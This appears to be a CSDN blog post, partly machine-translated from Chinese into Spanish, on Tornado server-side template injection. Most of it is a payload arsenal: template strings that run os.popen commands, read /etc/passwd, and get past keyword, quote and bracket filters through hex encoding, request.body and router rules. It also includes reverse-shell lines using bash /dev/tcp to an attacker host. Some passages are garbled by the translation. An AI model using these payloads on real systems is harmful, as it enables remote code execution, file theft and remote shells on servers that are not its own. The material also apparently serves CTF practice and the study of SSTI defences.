Soportes de filtrado de bypass

En tornado, el procesamiento principal de las plantillas es el archivo template.py que se encuentra debajo. La parte de procesamiento central es la siguiente

Insertar descripción de la imagen aquí

Podemos introducir lo que queramos y ver self.codeel contenido a continuación.
Por ejemplo, si pasa { {2-1}},
el resultado de impresión será el siguiente:

def _tt_execute():
    _tt_buffer = []
    _tt_tmp = 2-1
    if isinstance(_tt_tmp, _tt_string_types): 
        _tt_tmp = _tt_utf8(_tt_tmp)
    else: 
        _tt_tmp = _tt_utf8(str(_tt_tmp))
    _tt_tmp = _tt_utf8(xhtml_escape(_tt_tmp))
    _tt_append(_tt_tmp)
    return _tt_utf8('').join(_tt_buffer)

De esta forma, podemos dejar completamente que _tt_utf8 sea el nombre de la función que queremos ejecutar. No olvide agregar saltos de línea y cuatro líneas en blanco para la sangría.

{
   
   {'print(123)'%0a    _tt_utf8=eval}}

Después de intentar esto, descubrimos que el código eval('print(123)')efectivamente se ejecutó, pero en el lado del servidor, y la página que vimos mostraba un error.
El motivo de esta situación es que estas dos líneas de código se utilizan juntas.

 _tt_tmp = _tt_utf8(_tt_tmp)
 _tt_utf8(xhtml_escape(_tt_tmp))
# xhtml_escape可以看做是一个html编码的函数

Ese es el precio equivalente.

_tt_tmp=eval("print(123)")     #print返回值是None
eval(xhtml_escape(None))     #eval中为空导致报错

Entonces tenemos que encontrar una manera de evitar esta situación.
Un mejor método es usar rawDespués de la prueba, se descubrió que rawel código _tt_utf8(xhtml_escape(_tt_tmp))se eliminará después de usar la sintaxis, por lo que no tenemos que preocuparnos por la situación anterior. Hay un último problema: si asignamos un valor
en la última línea de código , aún se informará un error aquí. Pero también es muy sencillo de solucionar: basta con asignar una función que no informe de error, por ejemplo .return _tt_utf8('').join(_tt_buffer)_tt_utf8eval
_tt_utf8str

data={% raw "__import__('os').popen('ls').read()"%0a    _tt_utf8 = eval%}{
   
   {'1'%0a    _tt_utf8 = str}}

Descubrimos que el código anterior todavía existe (), pero está en una cadena, por lo que podemos resolverlo mucho más fácilmente.
En su lugar, podemos usar codificación hexadecimal o Unicode. El siguiente código puede ayudarnos a generar hexadecimal directamente.

print(''.join(['\\x{:02x}'.format(ord(c)) for c in "__import__('os').popen('ls').read()"]))

Debido a que los caracteres que usamos están básicamente en el rango de código ASCII, si la cadena se convierte a Unicode, simplemente use \u00+código ASCII directamente.

print(''.join(['\\x{:02x}'.format(ord(c)) for c in "__import__('os').popen('ls').read()"]).replace('\\x','\\u00'))

Inyección de plantilla de tornado: arsenal sin filtro

1、读文件
{% extends "/etc/passwd" %}
{% include "/etc/passwd" %}

2、 直接使用函数
{
   
   {__import__("os").popen("ls").read()}}
{
   
   {eval('__import__("os").popen("ls").read()')}}

3、导入库
{% import os %}{
   
   {os.popen("ls").read()}}

4、flask中的payload大部分也通用
{
   
   {"".__class__.__mro__[-1].__subclasses__()[133].__init__.__globals__["popen"]('ls').read()}}
{
   
   {"".__class__.__mro__[-1].__subclasses__()[x].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

其中"".__class__.__mro__[-1].__subclasses__()[133]为<class 'os._wrap_close'>类
第二个中的x为有__builtins__的class

5、利用tornado特有的对象或者方法
{
   
   {handler.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
{
   
   {handler.request.server_connection._serving_future._coro.cr_frame.f_builtins['eval']("__import__('os').popen('ls').read()")}}

6、利用tornado模板中的代码注入
{% raw "__import__('os').popen('ls').read()"%0a    _tt_utf8 = eval%}{
   
   {'1'%0a    _tt_utf8 = str}}

Inyección de plantilla de tornado con arsenal de filtrado.

1、过滤一些关键字如import、os、popen等(过滤引号该方法同样适用)
{
   
   {eval(handler.get_argument(request.method))}}
然后看下请求方法,如果是get的话就可以传?GET=__import__("os").popen("ls").read(),post同理


2、过滤了括号未过滤引号
{% raw "\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x70\x6f\x70\x65\x6e\x28\x27\x6c\x73\x27\x29\x2e\x72\x65\x61\x64\x28\x29"%0a    _tt_utf8 = eval%}{
   
   {'1'%0a    _tt_utf8 = str}}

3、过滤括号及引号
下面这种方法无回显,适用于反弹shell,为什么用exec不用eval呢?
是因为eval不支持多行语句。
request.body返回的是请求的主体,可以理解为返回了post里的所有内容。
{%autoescape None%}{%raw ...%}可以等同于{
   
   { }},这个在官方文档中有写。
因为POST传参,同时调用所有POST内容,那么就把自己注释掉,但是接受参数任然可以识别。
__import__('os').system('bash -i >& /dev/tcp/xxx/xxx 0>&1')%0a"""%0a&data={%autoescape None%}{% raw request.body%0a    _tt_utf8=exec%}&%0a"""

4、过滤', ", __, (, ), or, and, not, {
   
   {, }}
ssti={% set _tt_utf8 =eval %}{% raw request.body_arguments[request.method][0] %}&POST=__import__('os').popen("bash -c 'bash -i >%26 /dev/tcp/vps-ip/port <%261'")

5、其他
通过参考其他师傅的文章学到了下面的方法(两个是一起使用的)
{
   
   {handler.application.default_router.add_rules([["123","os.po"+"pen","a","345"]])}}
{
   
   {handler.application.default_router.named_rules['345'].target('/readflag').read()}}

Artículo de referencia:

Servidor web Tornado: documentación de Tornado 4.3 (tornado-zh.readthedocs.io)

Plantillas y UI: documentación de Tornado 4.3 (tornado-zh.readthedocs.io)

plantilla de tornado injection_tornado template injection_yu22x's blog-CSDN blog

Sintaxis del motor de plantilla tornado: el código más hermoso - Blog Park (cnblogs.com)

Supongo que te gusta

Origin blog.csdn.net/Jayjay___/article/details/132559381
Recomendado
Clasificación